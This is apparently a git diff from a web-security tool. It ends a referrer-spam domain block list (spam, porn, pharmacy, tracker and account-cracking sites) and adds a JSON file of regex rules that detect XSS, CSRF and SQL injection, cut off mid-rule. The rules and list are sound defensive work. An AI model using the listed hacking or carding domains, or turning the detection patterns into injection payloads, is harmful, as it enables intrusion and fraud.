+tackletarts.co +tagil.zrus.org +taihouse.ru +takeflyte.com +takeprofitsystem.com +takethatad.com +tako3.com +talant-factory.ru +tam-gde-more.ru +tamada69.com +tampabaywatch.org +tandvardshuset.net +tanieaukcje.com.pl +taqplayer.info +taqywu51.soup.io +tarad.com +taranerymagesswa.blogspot.com +taraz.xkaz.org +tasteidea.com +tastyfoodideas.com +tattomedia.com +tattoo33.ru +tattooha.com +tattooreligion.ru +taxi-v-eisk.ru +taximytishi.ru +td-33.ru +td-l-market.ru +tds-advert002.info +tds-advert005.info +tdsing.ru +teastory.co +tech4master.com +techart24.com +technika-remont.ru +technopellet.gr +tecnoteakviareggio.it +tecspb.ru +tedxrj.com +tedy.su +teenbbw.yopoint.in +teencastingporn.com +teenforporn.com +teenfuck.tv +teenporn18.net +teesdaleflyballclub.co.uk +teguh.info +tehngr.ru +telefonsex-ohne0900.net +telefonsexi.com +telefonsexkostenlos.tk +telefonsexsofort.tk +telegraf.by +telegramdownload10.com +telemetryverification.net +telesvoboda.ru +teletype.in +telsis.com +template-kid.com +templates.franklinfire.co +templates.radiodigital.co +tengohydar.tk +terraclicks.com +terrafootwear.us +teslathemes.com +testbotprocessor44.com +testingads.pro +tetracsaudi.com +texbaza.by +textads.men +tfxiq.com +tgtclick.com +thaisamkok.com +thaismartloan.com +the-torrent-tracker.blogspot.com +the-trader.net +the-usa-games.blogspot.com +theallgirlarcade.com +theautoprofit.ml +thebestphotos.eu +thebestweightlosspills.ovh +thebitcoincode.com +thebluenoodle.com +thebluffs.com +thecoolimages.net +thecoral.com.br +thecounter.com +thedownloadfreeonlinegames.blogspot.com +thedownloadfromwarez.blogspot.com +theendivechronicles.com +thefarmergame.com +thefds.net +thefotosgratis.eu +thegalerie.eu +thegameriders.com +thegamerznetwork.com +thegioixekhach.com +thegolfclub.info +theguardlan.com +theheroes.ru +thejournal.ru +thelottosecrets.com +themeforest.net +themestotal.com +thenetinfo.com +thenews-today.info +thepantonpractice.co.uk +theplacetoupdating.pw +theporndude.com +thepornsex.org +theprofitsmaker.net +thesmartsearch.net +thetardistimes.ovh +thetattoohut.com +thetoiletpaper.com +thewebsitetemplate.info +thewomenlife.com +thexart.club +thfox.com +thiegs.reco.ws +thin.me.pn +threecolumnblogger.com +thruport.com +tiandeural.ru +ticketsys.inetwd.com +tiens2010.ru +tilido.com +timdreby.com +time-japan.ru +timeallnews.ru +timecrimea.ru +timer4web.com +timetorelax.biz +timhost.ru +titan-ads.life +titan-cloud.life +titangel-vietnam.com +titelhelden.eu +titslove.yopoint.in +tivolibasket.it +tizanidine4mg.blogspot.com +tizanidine4mgprice.blogspot.com +tizanidine4mgstreetprice.blogspot.com +tizanidine4mgstreetvalue.blogspot.com +tizanidine4mgtablets.blogspot.com +tizanidine4mguses.blogspot.com +tizanidine6mg.blogspot.com +tizanidineandcipro.blogspot.com +tizanidineandgabapentin.blogspot.com +tizanidineandhydrocodone.blogspot.com +tizanidinecapsules.blogspot.com +tizanidinecost.blogspot.com +tizanidinedosage.blogspot.com +tizanidinedosageforsleep.blogspot.com +tizanidinedruginteractions.blogspot.com +tizanidinedrugtest.blogspot.com +tizanidineduringpregnancy.blogspot.com +tizanidinefibromyalgia.blogspot.com +tizanidineformigraines.blogspot.com +tizanidineforopiatewithdrawal.blogspot.com +tizanidinehcl2mg.blogspot.com +tizanidinehcl2mgsideeffects.blogspot.com +tizanidinehcl2mgtablet.blogspot.com +tizanidinehcl4mgisitanarcotic.blogspot.com +tizanidinehcl4mgtab.blogspot.com +tizanidinehcl4mgtabinfo.blogspot.com +tizanidinehcl4mgtablet.blogspot.com +tizanidinehclsideeffects.blogspot.com +tizanidinehydrochloride2mg.blogspot.com +tizanidinehydrochloride4mgstreetvalue.blogspot.com +tizanidineinfo.blogspot.com +tizanidineingredients.blogspot.com +tizanidineinteractions.blogspot.com +tizanidinemusclerelaxant.blogspot.com +tizanidinenarcotic.blogspot.com +tizanidineonline.blogspot.com +tizanidineoral.blogspot.com +tizanidineorflexeril.blogspot.com +tizanidinepain.blogspot.com +tizanidinepills.blogspot.com +tizanidinerecreationaluse.blogspot.com +tizanidinerestlesslegsyndrome.blogspot.com +tizanidineshowupondrugtest.blogspot.com +tizanidinesideeffects.blogspot.com +tizanidinesideeffectsweightloss.blogspot.com +tizanidinesleepaid.blogspot.com +tizanidinestreetprice.blogspot.com +tizanidinestreetvalue.blogspot.com +tizanidineusedfor.blogspot.com +tizanidinevscyclobenzaprine.blogspot.com +tizanidinevssoma.blogspot.com +tizanidinevsvalium.blogspot.com +tizanidinewithdrawal.blogspot.com +tizanidinewithdrawalsymptoms.blogspot.com +tizanidinezanaflex.blogspot.com +tjkckpytpnje.com +tk-assortiment.ru +tkanorganizma.ru +tksn.ru +tmearegion26.com +tmm-kurs.ru +tmtrck.com +tn811.us +tnaionline.org +tnctrx.com +tobeyouday.win +todohr.com +token-lab.org +toloka.hurtom.com +tomatis.gospartner.com +tomck.com +tonerbox.kz +tongkatmadura.info +tonivedu.it +toolsky.com +toon-families.com +toondinsey.com +toonfamilies.net +tooplay.com +tootoo.to +top-deal.com.pl +top-karkas.ru +top-l2.com +top-study.work +top1-seo-service.com +top10-online-games.com +top10-way.com +top10registrycleaners.com +top250movies.ru +topads.men +topanasex.com +topappspro.com +topbestgames.com +topcar-krasnodar.ru +topcasinoratings.ru +topclickguru.com +topdownloads.ru +topflownews.com +topkarkas.com +topmira.com +topquality.cf +toproadrunner5.info +topshef.ru +topsiteminecraft.com +topsy.com +topvidos.ru +torontoplumbinggroup.com +torrent-newgames.com +torrent-to-magnet.com +torrentdownloadhub.com +torrentgamer.net +torrentred.games +torrents-tracker.com +torrents.cd +torrents.life +torrnada.ru +torture.ml +totu.info +totu.us +touchmods.fr +tour-line.net +tourcroatia.co.uk +tourismvictoria.com +toursmaps.com +tovaroboom.vast.ru +toxicwap.com +toy-shop.top +toyota.7zap.com +toys.erolove.in +tozup.com +tpu.ru +tracfone.com +track-rankings.online +track.deriv.com +track112.site +track2.shop +tracklead.net +trackmedia101.com +tracksurf.daooda.com +tracksz.co +trackzapper.com +tracxn.com +tradedeals.biz +traderzplanet.in +tradgardspartner.se +trafaret74.ru +traffic-club.info +traffic100.com +traffic2cash.org +traffic2money.com +trafficcentr.xyz +trafficfactory.biz +trafficgenius.xyz +trafficinstantly.co +trafficjunky.com +trafficjunky.net +trafficmania.com +trafficmonetize.org +trafficmp.com +trafficnetzwerk.de +trafficreceiver.club +trafficshaper.com +trafficstars.com +traffictrade.life +traffique.net +traffixer.com +traffmonster.info +traffpartners.com +trahic.ru +trahvid.com +trailer.cinemaflix.website +trainoffend.ml +tramadolandtizanidine.blogspot.com +traxdom.ru +treasuretrack-a.akamaihd.net +tri-slona.org +trichizobswiv.agddns.net +trion.od.ua +triplepanda.xyz +tripper.de +triumf-realty.ru +trk-4.net +trkdf.com +trkur.com +trubywriting.com +truck-addzilla.life +truck-land.life +truck-rece.life +trucri.me +trudogolik.net +truebeauty.cc +truemfilelj.gq +trumpetedextremes.com +trustaffs.com +trustedhealthtips.com +trustedmaccleaner.com +trustl.life +try-rx.com +tryrating.com +tsan.net +tsstcorpcddvdwshbbdriverfb.aircus.com +tsyndicate.com +tt-ipd.info +ttrraacckkrr.com +ttsq.fr +tube8.com +tubeline.biz +tubeoffline.com +tuberkulezanet.ru +tuberkuleznik.ru +tubo360.com +tuckermktg.com +tuckpointingmasonrysystems.com +tula.howotorg.ru +tula.mdverey.ru +tupper-posuda.ru +tupper-shop.ru +turbabitload.weebly.com +turbo-suslik.org +turbodsp.com +turist-strani.ru +turizm.bz +turizmus.us +turkeyreport.tk +turn-up-life.life +turvgori.ru +tv-spoty.info +tvand.ru +tversvet.ru +tvnewsclips.info +tvorozhnaja-zapekanka-recept.ru +tvory.predmety.in.ua +tvoystartup.ru +tvteleport.ru +twelvevisionspartyofcolorado.com +twiclub.in +twincitiescarservice.com +twinderbella.com +twitlinks.com +twittrading.com +twittruth.com +twodollarshows.com +twojebook.pl +twu.com.ua +tx41tclega.ru +txxx.com +typer.one +typimga.pw +tytoona.com +tyumen.xrus.org +tzritel.tk +u-cheats.ru +u17795.netangels.ru +u555u.info +ua-company.ru +ua.tc +uac.net.au +uamtrk.com +uasb.ru +ublaze.ru +uchebavchehii.ru +uchetunet.su +uchil.net +ucoz.ru +ucsol.ru +udayavani.com +udsgame.online +ufa.xrus.org +uggbootsoutletsale.us +uggsale.online +ugguk.online +uginekologa.com +ugogo.info +uhdtv.website +uhod-za-sobakoj.ru +uhodzalijami.ru +uk-zheu20.ru +ukkala.xyz +ukkelberg.no +ukr-lit.com +ukrobstep.com +ukrtextbook.com +ukrtvir.com.ua +ukrtvory.in.ua +ukrup.com +ultimateclassicrock.com +ultimatesetnewfreeallsoftupgradesystems.pw +ultramart.biz +um-razum.ru +umaseh.com +umekana.ru +umg-stroy.ru +umityangin.net +umnovocaminho.com +unacittaconte.org +unblocksit.es +undergroundcityphoto.com +underthesite.com +unece.org +uni.me +unimodemhalfduplefw.pen.io +unionmarkt.de +unisexjewelry.org +unitexindia.com +unitygame3d.com +univerfiles.com +universals.com.ua +unlimitdocs.net +unmaroll.ya.ru +unpredictable.ga +unrealcommander.biz +unrealcommander.com +unrealcommander.org +uogonline.com +upproar.com +uprour.com +upstore.me +uptime-alpha.net +uptime-as.net +uptime-delta.net +uptime-gamma.net +uptime.com +uptimebot.net +uptimechecker.com +upupa.net +ural-buldozer.ru +urccvfmc.bloger.index.hr +urdoot.win +urengoy.pro +url-extractor.xyz +url-img.link +url2image.com +urlcut.ru +urldelivery.com +urll.eu +urlopener.blogspot.com.au +urlopener.com +uroffer.link +uroki.net +urzedowski.eu +us-america.ru +usacasino.com +usadacha.net +usbggettwku.ga +usdx.us +userequip.com +usiad.net +ussearche.cf +usswrite.com +ustion.ru +utiblog.fr +utrolive.ru +uvozdeckych.info +uytmaster.ru +uzporno.mobi +uzungil.com +v-doc.co +v24s.net +v720hd.ru +vabasa.inwtrade.com +vacances-voyages.info +vacuumcleanerguru.com +vacuumscleaner.com +vadimkravtcov.ru +validccseller.com +validdomain.xyz +valkiria-tk.ru +valmetrundan.se +valoresito.com +valsalud.com +valuado.com +valueclick.com +vancleefreplica.pw +vandrie-ict.nl +vapeface.club +vapomnoncri.tk +vapsy.com +varbergsvind.se +varikoz24.com +varikozdok.ru +vashsvet.com +vasileostrovsky-rayon.ru +vavilone.com +vbabule.net +vbikse.com +vbtracker.net +vchulkah.net +vchulkax.com +vclicks.net +vduplo.ru +vedomstvo.net +veerotech.com +vegan-foods.us +vegascosmetics.ru +vektorpress.ru +vekzdorov.ru +velen.io +veles.shop +vellings.info +velobikestock.com +velpanex.ru +venerologiya.com +venta-prom.ru +ventelnos.com +veopornogratis.xxx +vepad.com +vereo.eu +versaut.xxx-cam.webcam +vertaform.com +verymes.xyz +veselokloun.ru +vesnatehno.com +vesnatehno.ru +vezuviy.su +vgoloveboli.net +via-energy-acquistare.com +via-energy-cumpara.com +via-energy-order.com +via-gra.webstarts.com +viagengrarx.com +viagra-soft.ru +viagra.pp.ua +viagraneggrx.com +viagroid.ru +viandpet.com +viberdownload10.com +viddyoze.com +video--production.com +video-camer.com +video-chat.cn +video-chat.in +video-chat.love +video-hollywood.ru +video-production.com +video-woman.com +videochat.bz +videochat.cafe +videochat.life +videochat.mx +videochat.ph +videochat.tv.br +videochat.world +videochaty.ru +videogamesecrets.com +videojam.tv +videokrik.net +videonsk.com +videooko.weebly.com +videos-for-your-business.com +videosbox.ru +videositename.com +videospornogratisx.net +videotuber.ru +videtubs.pl +vids18.site +viel.su +vielporno.net +vietimgy.pw +vigrx-original.ru +vikistars.com +viktoria-center.ru +vilingstore.net +villacoloniale.com +villakohlanta.nu +vinsit.ru +vintontech.info +vinylvault.co.uk +vip-dom.in +vip-file.com +vip-parfumeria.ru +vip.51.la +vip2ch.com +vipcallsgirls.com +vipms.ru +vipps.com.my +vipromoffers.com +vipsexfinders.com +vipsiterip.org +virtuagirl.com +virtualbb.com +virus-respirators.com +virus-schutzmasken.de +visa-china.ru +visa-pasport.ru +visionwell.com.cn +visitcambridge.org +vita.com.hr +vitalads.net +vitanail.ru +viteonlusarezzo.it +vitoriacabos.com +viven.host.sk +viveresaniesnelli.it +vizag.kharkov.ua +vizitki.net +vk-mus.ru +vkak.ru +vkgaleria.com +vkmusics.ru +vkonche.com +vkontaktemusic.ru +vkontarkte.com +vksaver-all.ru +vksex.ru +vladhistory.com +vladimir.xrus.org +vladimir.zrus.org +vltai.com +vmnmvzsmn.over-blog.com +vod.com.ua +vodaodessa.com +voditeltrezviy.ru +vodkoved.ru +volgograd.xrus.org +voloo.ru +voloomoney.com +voloslove.ru +voltrknc1.com +volume-pills.biz +voluumtracker1.com +voluumtrk.com +vonradio.com +voprosotvet24.ru +voronezh.xrus.org +vostoktrade.info +vote-up.ru +vozbujdenie.com +vpnhowto.info +vpnmouse.com +vremya.eu +vriel.batcave.net +vrnelectro.ru +vrotike.ru +vroze.com +vsdshnik.com +vse-pesni.com +vseigru.one +vseigry.fun +vsesubwaysurfers.com +vseuznaem.com +vsexkontakte.net +vtc.pw +vtcdns.com +vuclip.com +vucms.com +vut.com.ru +vvon.co.uk +vvpg.ru +vykup-avto-krasnodar.ru +vykupavto-krasnodar.ru +vysigy.su +vzglyadriv.kg +vzlom-na-zakaz.com +vzlomfb.com +vzlomsn.org +vzlomtw.com +vzubah.com +vzube.com +w-journal.ru +w3data.co +w3javascript.com +w7s.ru +wahicbefa31.soup.io +wait3sec.org +walkme.com +wallpaperaccess.com +wallpapers-best.com +wallpapersdesk.info +wallpapersist.com +wallpaperstock.net +walpaperlist.com +wanker.us +wapsite.me +wardreapptokone.tk +wareseeker.com +warezaccess.com +warezkeeper.com +warning.or.kr +warningwar.ru +warningzscaler.heraeus.com +watch-movies.ru +watchdogs-2.ru +watchinf.com +watchmyfb.pl +watchmygf.net +waterefficiency.co +waterpurifier.club +watracker.net +watsonrealtycorp.com +waycash.net +waysbetter.cn +wcb.su +wdfdocando.com +wdrake.com +we-are-gamers.com +web-analytics.date +web-betting.ru +web.cvut.cz +webads.co.nz +webadvance.club +webalan.ru +webcamdevochka.com +webcamtalk.net +webenlace.com.ar +webextract.profound.net +webinstantservice.com +webix.biz +webix.me +webjam.com +webkeyit.com +weblibrary.win +weblo.com +webmasterhome.cn +webmasters.stackexchange.com +webmonetizer.net +webnode.me +weboptimizes.com +webpromotion.ae +webradiology.ru +webs.com +webscouter.net +webshoppermac.com +website-analytics.online +website-analyzer.info +website-audit.com.ua +website-datenbank.de +website-speed-check.site +website-speed-checker.site +website-speed-up.site +website-speed-up.top +website-stealer.nufaq.com +websiteaccountant.de +websiteexplorer.info +websites-reviews.com +websitevaluebot.com +webstatsdomain.org +webtherapy.ru +weburlopener.com +weburok.com +wechatdownload10.com +weclipart.com +wedding-salon.net +wedding0venues.tk +weddingdresses.xyz +weekes.biz.tc +weightatraining.com +wejdz-tu.pl +welck.octopis.com +welcomeauto.ru +wellcome2slovenia.ru +wemarketing.se +wemedinc.com +weprik.ru +wesharepics.com +wesharepics.info +wesharepics.site +westen-v.life +westen-z.life +westermarkanjou.se +westsextube.com +westum.se +westvilletowingservices.co.za +wetgames.ru +wfb.hatedriveapart.com +whatistizanidine2mg.blogspot.com +whatistizanidinehclusedfor.blogspot.com +whatsappbot.flyland.ru +whatsappdownload10.com +whatsupinfoley.com +whatzmyip.net +wheelchairliftsarea.com +whengirlsgowild.com +where-toget.com +whereiskentoday.com +whereverdesperate.gq +while.cheapwebsitehoster.com +whipme.yopoint.in +white-truck.life +whiteelephantwellington.com +whiteproduct.com +wholesalecheapjerseysfree.com +wholesalejerseychinaoutlet.com +wholesalejerseychinashop.com +wholesalejerseys-cheapest.com +wholesalejerseyscheapjerseys.us.com +wholesalejerseysgaa.com +wholesalenfljerseys.us.com +wholinkstome.com +whos.amung.us +whosonmyserver.com +wieseversa.no +wikes.20fr.com +wildcattube.com +wildnatureimages.com +wildworld.site +williamrobsonproperty.com +win-spy.com +windowssearch-exp.com +wineitudes.wordpress.com +wineration.com +wingsoffury2.com +wingsofrefuge.net +winner7777.net +winterclassichockeyjerseys.com +winwotgold.pl +winx-play.ru +wiosenny-bon-1500.pl +witclub.info +witherrom55.eklablog.fr +withstandingheartwarming.com +wjgony.com +wladimirpayen.com +wleuaprpxuvr.ga +wma-x.com +wnhjavlhezp.gq +wnoz.de +womama.ru +woman-h.ru +woman-orgasm.ru +woman-tampon.ru +womens-journal.net +womensplay.net +womensterritory.ru +wonderfulflowers.biz +woodyguthrie.se +word-vorlagen.net +word-vorlagen.xyz +wordkeyhelper.com +wordpress-crew.net +wordpresscore.com +workle.website +works.if.ua +world-mmo.com +worldhistory.biz +worldinternetauthority.com +worldis.me +worldlovers.ru +worldmusicfests.com +worldoffiles.ru +worldtraveler.world +wormix-cheats.ru +worst-sites.online +wosik-dach.service-for-web.de +wovis.site +wowas31.ucoz.ru +wowcasinoonline.ooo +woweb.com.ua +wpsecurity.website +wpthemedetector.co.uk +writersgroup580.web.fc2.com +writingservices17.blogspot.ru +wrona.it +wrz0iuebwhp5fg.freeddns.com +ws.ampower.me +wsgames.ru +wstroika.ru +wtsindia.in +wttavern.com +wufak.com +wurr.voila.net +ww1943.ru +ww2awards.info +www.888.com +www.arenda-yeisk.ru +www.bookmaker-bets.com +www.ehscloud.cn +www.event-tracking.com +www.get-free-traffic-now.com +www.jbetting.com +www.kabbalah-red-bracelets.com +www.labves.ru +www.pinnacle-bets.com +www.solartek.ru +www.souvenirua.com +www.timer4web.com +www.wohnkabinen-shop.de +wwwadultcheck.com +wygraj-skiny.win +wygraj-teraz.com +wyniki-lista.pl +wzgyyq.com +x-diesel.biz +x-diesel.com +x-diesel.info +x-diesel.org +x-lime.com +x-lime.net +x-mix.info +x-musics.com +x-porno.video +x-rates.ru +x-stars.ru +x-true.info +x5market.ru +x69ty.ru +xaijo.com +xaylapdiendanang.com +xbaboon.com +xblog.in +xblognetwork.com +xboxster.ru +xcc24.pl +xchangetrak.com +xchat26.myfreecams.com +xclicks.net +xcombear.ru +xdoza.com +xedserver.com +xep.info +xerox-douglas.cf +xev.ru +xfire.com +xfluro.com +xgames-04.com +xgftnlrt.bloger.index.hr +xingzi-vision.com +xitjw.info +xjlottery.com +xjrul.com +xkaz.org +xlolitka.com +xlovecam.com +xmladserver.com +xmlinde.com +xmnb.net +xmronta.com +xn------7cdbapdecfd4ak1bn0amjffj7afu3y.xn--p1ai +xn-----6kcaabbafhu7cskl7akvongwpo7hvjj.xn--p1ai +xn-----6kcaacnblni5c5bicdpcmficy.xn--p1ai +xn-----6kccaibs5cb8afhjrfmix2n.xn--p1ai +xn-----7kcabaipgeakzcss7bjdqdwpfnhv.xn--p1ai +xn-----7kceclhb4abre1b4a0ccl2fxch1a.xn--p1ai +xn-----8kcatubaocd1bneepefojs1h2e.xn--p1ai +xn----7sbaaabaei0cc8aj5bj0bncejx.xn--p1ai +xn----7sbahjd3btneuw1joc.xn--p1ai +xn----7sbaphztdjeboffeiof6c.xn--p1ai +xn----7sbbagbq7bd5aheftfllo4m.xn--p1ai +xn----7sbbahaq9bb5afgiqfliv4m.xn--p1ai +xn----7sbho2agebbhlivy.xn--p1ai +xn----7sbifcamovvfggw9d.xn--p1ai +xn----8sbarihbihxpxqgaf0g1e.xn--80adxhks +xn----8sbdbjgb1ap7a9c4czbh.xn--p1acf +xn----8sbhefaln6acifdaon5c6f4axh.xn--p1ai +xn----8sblgmbj1a1bk8l.xn----161-4vemb6cjl7anbaea3afninj.xn--p1ai +xn----9sbebi2bvzr7h.xn--p1ai +xn----9sbubg3ambdfl1j.xn--p1ai +xn----btbdvdh4aafrfciljm6k.xn--p1ai +xn----ctbbcjd3dbsehgi.xn--p1ai +xn----ctbigni3aj4h.xn--p1ai +xn----dtbndd4ae7eub.top +xn----itbeirbjbi7bc6bh2d.xn--p1ai +xn----itbkqkfiq.xn--p1ai +xn--1-8sbcpb0bdm8k6a.xn--p1ai +xn--24-glceagatoq7c2a6ioc.xn--p1ai +xn--80aaafbn2bc2ahdfrfkln6l.xn--p1ai +xn--80aaagvmjabrs1aoc9luc.xn--p1ai +xn--80aaajbdbddwj2alwjieei2afr3v.xn--p1ai +xn--80aaaks3bbhabgbigamdr2h.xn--p1ai +xn--80aafb2a.xn--p1ai +xn--80aagddcgkbcqbad7amllnejg6dya.xn--p1ai +xn--80aanaardaperhcem4a6i.com +xn--80ab4aa2g.xn--p1ai +xn--80abgj3a5acid6ghs.top +xn--80adaggc5bdhlfamsfdij4p7b.xn--p1ai +xn--80aeahghtf8ac5i.xn--p1ai +xn--80aebbcbcdemfkhba4byaehoejh8dza3v.xn--p1ai +xn--80ahdheogk5l.xn--p1ai +xn--80ahvj9e.xn--p1ai +xn--80aikhbrhr.net +xn--80ajbshivpvn2i.xn--p1ai +xn--80ajjbdhgmudixfjc8c5a9df8b.xn--p1ai +xn--80ak6aa92e.com +xn--80aodinpgi.xn--p1ai +xn--80atua3d.xn--p1ai +xn--90acenikpebbdd4f6d.xn--p1ai +xn--b1adccaf1bzj.xn--p1ai +xn--b1addnj3cah.xn--p1ai +xn--b1ag5cfn.xn--p1ai +xn--b1agm2d.net +xn--c1acygb.xn--p1ai +xn--d1abj0abs9d.in.ua +xn--d1acah0c.xn--p1ai +xn--d1aifoe0a9a.top +xn--e1afanlbnfckd7c3d.xn--p1ai +xn--e1aggki3c.xn--80adxhks +xn--h1aakne2ba.xn--p1ai +xn--h1ahbi.com.ua +xn--hxazdsfy.blogspot.com +xn--l1aengat.xn--p1ai +xn--lifehacer-1rb.com +xn--oogle-wmc.com +xn--q1a.xn--b1aube0e.xn--c1acygb.xn--p1ai +xnxx-n.com +xnxx699.com +xnxxandxvideos.com +xolodremont.ru +xportvusbdriver8i.snack.ws +xpresscare.ru +xrus.org +xsfetish.org +xsion.net +xtraffic.plus +xtrafficplus.com +xtremeeagles.net +xtube.com +xtubeporno.net +xuki.us +xvideosbay.com +xvideosporn.biz +xvideospornoru.com +xwatt.ru +xxart.ru +xxlargepop.com +xxx-cam.webcam +xxx-treker.ru +xxxasianporn.net +xxxdatinglocal.us +xxxguitars.com +xxxhdvideo.site +xxxkaz.org +xxxmania.top +xxxnatelefon.ru +xxxrus.org +xxxsiterips.xyz +xxxtube69.com +xxxtubesafari.com +xz618.com +xzlive.com +y8games-free.com +yaaknaa.info +yachts-cruise.info +yaderenergy.ru +yadro.ru +yaminecraft.ru +yaoguangdj.com +yatrk.xyz +yeartwit.com +yebocasino.co.za +yebocasino.com +yellocloud.be +yellowads.men +yellowfootprints.com +yellowproxy.net +yellowstonesafaritours.com +yellowstonevisitortours.com +yes-com.com +yginekologa.com +yhit.press +ynymnwbm.bloger.index.hr +yogamatsexpert.com +yoluxuryevents.com +yoopsie.com +yopoint.in +yoshkarola.zrus.org +yottos.com +you-shall-not-pass.is74.ru +youandcredit.ru +youbloodyripper.com +youbrainboost.asia +youdao.com +youdesigner.kz +yougame.biz +yougetsignal.com +youghbould.wordpress.com +yougotanewdomain.com +youjizz.com +youjizz.vc +youporn-forum.ga +youporn-ru.com +your-bearings.com +youradexchange.com +yourads.website +youradulthosting.com +youraticles.pl +yourdesires.ru +youresponsive.com +yourmovies.pl +yourothersite.com +yourporn.com +yourporngay.com +yoursearch.me +yourserverisdown.com +yoursite.com +yourtemplatefinder.com +yousense.info +youthreaders.com +youtoner.it +youtube-downloader.savetubevideo.com +youtubedownload.org +youtubologia.it +youtuhe.com +ypmuseum.ru +ytmnd.com +yuarra.pluto.ro +yubikk.info +yugk.net +yugo-star.ru +yun56.co +yunque.pluto.ro +yur-p.ru +yurgorod.ru +yuweng.info +z-master.ru +za-fun-offer.com +za-music.mymobiplanet.com +zaapplesales.blogspot.com +zacreditom.ru +zagadki.in.ua +zahvat.ru +zaidia.xhost.ro +zaim-pod-zalog-krasnodar.ru +zaimhelp.ru +zaimite.ru +zajm-pod-zalog-nedvizhimosti.ru +zajm-zalog-krasnodar.ru +zakazfutbolki.com +zakazvzloma.com +zakon-ob-obrazovanii.ru +zakonobosago.ru +zaloadi.ru +zaloro.com +zambini.ru +zaobao.com.sg +zapatosenventa.info +zapiszto.pl +zarabiaj-dzis.pl +zarabotat-na-sajte.ru +zarabotok--doma.ru +zarajbuilders.com +zarenica.net +zarepta.com +zastenchivosti.net +zastroyka.org +zatjmuzu.info +zawyna.ua +zazagames.org +zdesformula.ru +zdesoboi.com +zebradudka.com +zebramart.ru +zed21.net +zeg-distribution.com +zeikopay.com +zeleznobeton.ru +zero1.it +zerocash.msk.ru +zeroredirect.com +zeroredirect1.com +zeroredirect10.com +zeroredirect11.com +zeroredirect12.com +zeroredirect2.com +zeroredirect5.com +zeroredirect6.com +zeroredirect7.com +zeroredirect8.com +zeroredirect9.com +zetgie.com.pl +zetmaster.ru +zhacker.net +zhongwenlink.com +zhorapankratov7.blogspot.com +zhuravlev.info +zigarettenonl.canalblog.com +zigarettenonlinekaufen.tumblr.com +zigarettenonlinekaufen1.bloog.pl +zigarettenonlinekaufen1.blox.pl +zigarettenonlinekaufen2.bloog.pl +zigarettenonlinekaufen2.drupalgardens.com +zigzog.ru +zionstar.net +zirondelli.it +zixizop.net.ru +zkjovpdgxivg.ga +zlatnajesen.com +zmoda.hostreo.com +znakom.sibtest.ru +znakomstva-moskva77.ru +znakomstva-piter78.ru +znakomstvaonlain.ru +znaniyapolza.ru +znaturaloriginal.com +zocaparj.kz +zog.link +zojirushi-products.ru +zolotoy-lis.ru +zona-aqua.ru +zone-kev717.info +zoodrawings.com +zoogdiesney.com +zoogdinsney.com +zoogdisany.com +zooggames.com +zoolubimets.ru +zoominfo.com +zoomovies.org +zoompegs.com +zoosexart.com +zootoplist.com +zootravel.com +zophim.me +zrelaya.pw +zreloeporno.tv +zrizvtrnpale.tk +zrus.org +zryydi.com +zs2vm.top +zscaler.net +zscalerone.net +zscalertwo.net +zskdla.site +zverokruh-shop.cz +zvetki.ru +zvezdagedon.ru +zvooq.eu +zvuker.net +zx6.ru +zygophyceous.womanstars.site +zynax.ua +zytpirwai.net +zzbroya.com.ua +zzlgxh.com \ No newline at end of file diff --git a/db/common-web-attacks.json b/db/common-web-attacks.json new file mode 100644 index 00000000..70cad69c --- /dev/null +++ b/db/common-web-attacks.json @@ -0,0 +1 @@ +{"filters":[{"id":1,"rule":"(?:\"[^\"]*[^-]?>)|(?:[^\\w\\s]\\s*\\/>)|(?:>\")","description":"finds html breaking injections including whitespace attacks","tags":["xss","csrf"],"impact":4},{"id":2,"rule":"(?:\"+.*[<=]\\s*\"[^\"]+\")|(?:\"\\s*\\w+\\s*=)|(?:>\\w=\\/)|(?:#.+\\)[\"\\s]*>)|(?:\"\\s*(?:src|style|on\\w+)\\s*=\\s*\")|(?:[^\"]?\"[,;\\s]+\\w*[\\[\\(])","description":"finds attribute breaking injections including whitespace attacks","tags":["xss","csrf"],"impact":4},{"id":3,"rule":"(?:^>[\\w\\s]*<\\/?\\w{2,}>)","description":"finds unquoted attribute breaking injections","tags":["xss","csrf"],"impact":2},{"id":4,"rule":"(?:[+\\/]\\s*name[\\W\\d]*[)+])|(?:;\\W*url\\s*=)|(?:[^\\w\\s\\/?:>]\\s*(?:location|referrer|name)\\s*[^\\/\\w\\s-])","description":"Detects url-, name-, JSON, and referrer-contained payload attacks","tags":["xss","csrf"],"impact":5},{"id":5,"rule":"(?:\\W\\s*hash\\s*[^\\w\\s-])|(?:\\w+=\\W*[^,]*,[^\\s(]\\s*\\()|(?:\\?\"[^\\s\"]\":)|(?:(?]*)t(?!rong))|(?:\\)|(?:[^*]\\/\\*|\\*\\/[^*])|(?:(?:[\\W\\d]#|--|{)$)|(?:\\/{3,}.*$)|(?:)","description":"Detects common comment types","tags":["xss","csrf","id"],"impact":3},{"id":37,"rule":"(?:\\~])","description":"Detects conditional SQL injection attempts","tags":["sqli","id","lfi"],"impact":6},{"id":42,"rule":"(?:\"\\s*or\\s*\"?\\d)|(?:\\\\x(?:23|27|3d))|(?:^.?\"$)|(?:(?:^[\"\\\\]*(?:[\\d\"]+|[^\"]+\"))+\\s*(?:n?and|x?or|not|\\|\\||\\&\\&)\\s*[\\w\"[+&!@(),.-])|(?:[^\\w\\s]\\w+\\s*[|-]\\s*\"\\s*\\w)|(?:@\\w+\\s+(and|or)\\s*[\"\\d]+)|(?:@[\\w-]+\\s(and|or)\\s*[^\\w\\s])|(?:[^\\w\\s:]\\s*\\d\\W+[^\\w\\s]\\s*\".)|(?:\\Winformation_schema|table_name\\W)","description":"Detects classic SQL injection probings 1/2","tags":["sqli","id","lfi"],"impact":6},{"id":43,"rule":"(?:\"\\s*\\*.+(?:or|id)\\W*\"\\d)|(?:\\^\")|(?:^[\\w\\s\"-]+(?<=and\\s)(?<=or\\s)(?<=xor\\s)(?<=nand\\s)(?<=not\\s)(?<=\\|\\|)(?<=\\&\\&)\\w+\\()|(?:\"[\\s\\d]*[^\\w\\s]+\\W*\\d\\W*.*[\"\\d])|(?:\"\\s*[^\\w\\s?]+\\s*[^\\w\\s]+\\s*\")|(?:\"\\s*[^\\w\\s]+\\s*[\\W\\d].*(?:#|--))|(?:\".*\\*\\s*\\d)|(?:\"\\s*or\\s[^\\d]+[\\w-]+.*\\d)|(?:[()*<>%+-][\\w-]+[^\\w\\s]+\"[^,])","description":"Detects classic SQL injection probings 